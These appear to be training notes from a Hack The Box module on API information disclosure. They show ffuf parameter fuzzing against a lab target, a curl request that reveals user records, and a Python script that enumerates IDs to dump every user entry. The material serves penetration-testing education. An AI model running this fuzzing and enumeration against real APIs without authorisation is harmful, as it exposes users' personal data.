Information Disclosure w SQLi

As already discussed, security-related inefficiencies or misconfigurations in a web service or API can result in information disclosure.

When assessing a web service or API for information disclosure, we should spend considerable time on fuzzing.

Information Disclosure w Fuzzing

Suppose we are assessing an API residing in http://<TARGET IP>:3003.

Maybe there is a parameter that will reveal the API’s functionality. Let us perform parameter fuzzing using ffuf and the burp-parameter-names.txt list, as follows.

jadu101@htb[/htb]$ ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>:3003/?FUZZ=test_value' -fs 19
 
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v1.3.1 Kali Exclusive <3
________________________________________________
 
 :: Method           : GET
 :: URL              : http://<TARGET IP>:3003/?FUZZ=test_value
 :: Wordlist         : FUZZ: /home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 19
________________________________________________
 
:: Progress: [40/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 id                      [Status: 200, Size: 38, Words: 7, Lines: 1]
:: Progress: [57/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 
:: Progress: [187/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0
:: Progress: [375/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0
:: Progress: [567/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0
:: Progress: [755/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0
:: Progress: [952/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0
:: Progress: [1160/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 
:: Progress: [1368/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 
:: Progress: [1573/2588] :: Job [1/1] :: 1720 req/sec :: Duration: [0:00:01] :: Error
:: Progress: [1752/2588] :: Job [1/1] :: 1437 req/sec :: Duration: [0:00:01] :: Error
:: Progress: [1947/2588] :: Job [1/1] :: 1625 req/sec :: Duration: [0:00:01] :: Error
:: Progress: [2170/2588] :: Job [1/1] :: 1777 req/sec :: Duration: [0:00:01] :: Error
:: Progress: [2356/2588] :: Job [1/1] :: 1435 req/sec :: Duration: [0:00:01] :: Error
:: Progress: [2567/2588] :: Job [1/1] :: 2103 req/sec :: Duration: [0:00:01] :: Error
:: Progress: [2588/2588] :: Job [1/1] :: 2120 req/sec :: Duration: [0:00:01] :: Error
:: Progress: [2588/2588] :: Job [1/1] :: 2120 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

It looks like id is a valid parameter. Let us check the response when specifying id as a parameter and a test value.

jadu101@htb[/htb]$ curl http://<TARGET IP>:3003/?id=1
[{"id":"1","username":"admin","position":"1"}]

Find below a Python script that could automate retrieving all information that the API returns (save it as brute_api.py).

import requests, sys
 
def brute():
    try:
        value = range(10000)
        for val in value:
            url = sys.argv[1]
            r = requests.get(url + '/?id='+str(val))
            if "position" in r.text:
                print("Number found!", val)
                print(r.text)
    except IndexError:
        print("Enter a URL E.g.: http://<TARGET IP>:3003/")
 
brute()

The above script can be run, as follows.

jadu101@htb[/htb]$ python3 brute_api.py http://<TARGET IP>:3003
Number found! 1
[{"id":"1","username":"admin","position":"1"}]
Number found! 2
[{"id":"2","username":"HTB-User-John","position":"2"}]
...